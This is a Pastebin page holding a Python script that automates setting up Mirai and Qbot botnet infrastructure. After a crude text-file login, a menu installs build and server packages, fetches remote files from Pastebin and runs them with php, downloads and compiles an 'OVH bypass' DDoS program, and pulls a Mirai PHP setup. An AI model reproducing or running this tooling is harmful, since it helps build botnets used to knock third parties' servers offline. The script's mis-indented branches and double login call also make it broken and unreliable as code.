Advertisement
MySqlDataBases

Auto Script

Jul 14th, 2019
1,232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.00 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #Auto Script
  3. #Ovh
  4. #Api
  5. #Mirai Autosetup
  6. import subprocess, time
  7.  
  8. def system(cmd):
  9.    subprocess.call(cmd, shell=True)
  10. ############################################
  11. def login():    
  12.     user = raw_input("Username: ")
  13.     passw = raw_input("Password: ")
  14.     f = open("users.txt", "r")
  15.     for line in f.readlines():
  16.         us, pw = line.strip().split("|")
  17.         if (user in us) and (passw in pw):
  18.             print "Login successful!"
  19.             return True
  20.     print "Wrong username/password"
  21.     return False
  22.  
  23. def menu():
  24.     print("Welcome to MySqlDatabases Autosetup")
  25.     print("[+]------------------------------[+]")
  26.     print("[-]- 1:Universal Api qbot & mirai[-]")
  27.     print("[-]- 2:Ovh Bypass Method in C    [-]")
  28.     print("[-]- 3:Mirai Autosetup in php    [-]")
  29.     print("[+]------------------------------[+]")
  30.     try:
  31.      option = input ("Enter Option: ")
  32.  
  33.      if option == 1:
  34.       print ("\x1b[0;36m Downloading Api")
  35.       system ("apt-get install gcc python nano screen")
  36.       system ("apt-get update")
  37.       system ("yum install zip unzip dstat httpd xnietd vsftpd tftp tftp-server wget epel-release -y")
  38.       system ("yum install gcc php-devel php-pear libssh2 libssh2-devel libpcap gengetopt python-requests -y")
  39.       system ("yum install gcc cmake gmp gmp-devel libpcap-devel gengetopt byacc flex dos2unix -y")
  40.       system ("wget https://pastebin.com/FmHzkRgF")
  41.       system ("php api.php")
  42.       print ("\x1b[0;36mDownloaded API.php ~> Yes")
  43.  
  44.  
  45.  
  46.       elif option == 2:
  47.        print ("\x1b[0;36m Downloading OVH Bypass")
  48.        system ("wget https://pastebin.com/f3uL5hg7")
  49.        system ("gcc ovh.c -o ovh -pthread")
  50.        print ("\x1b[0;36mDownloaded Bypass ~> Yes")
  51.  
  52.  
  53.  
  54.       elif option == 3:
  55.        print ("\x1b[0;36m Downloading Mirai php setup")
  56.        system ("wget https://pastebin.com/QcuLVqAG")
  57.        print ("\x1b[0;36mDownloaded Setup ~> Yes")
  58.  
  59. def main():
  60.     login()
  61.     log = login()
  62.     if log == True:
  63.          menu()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement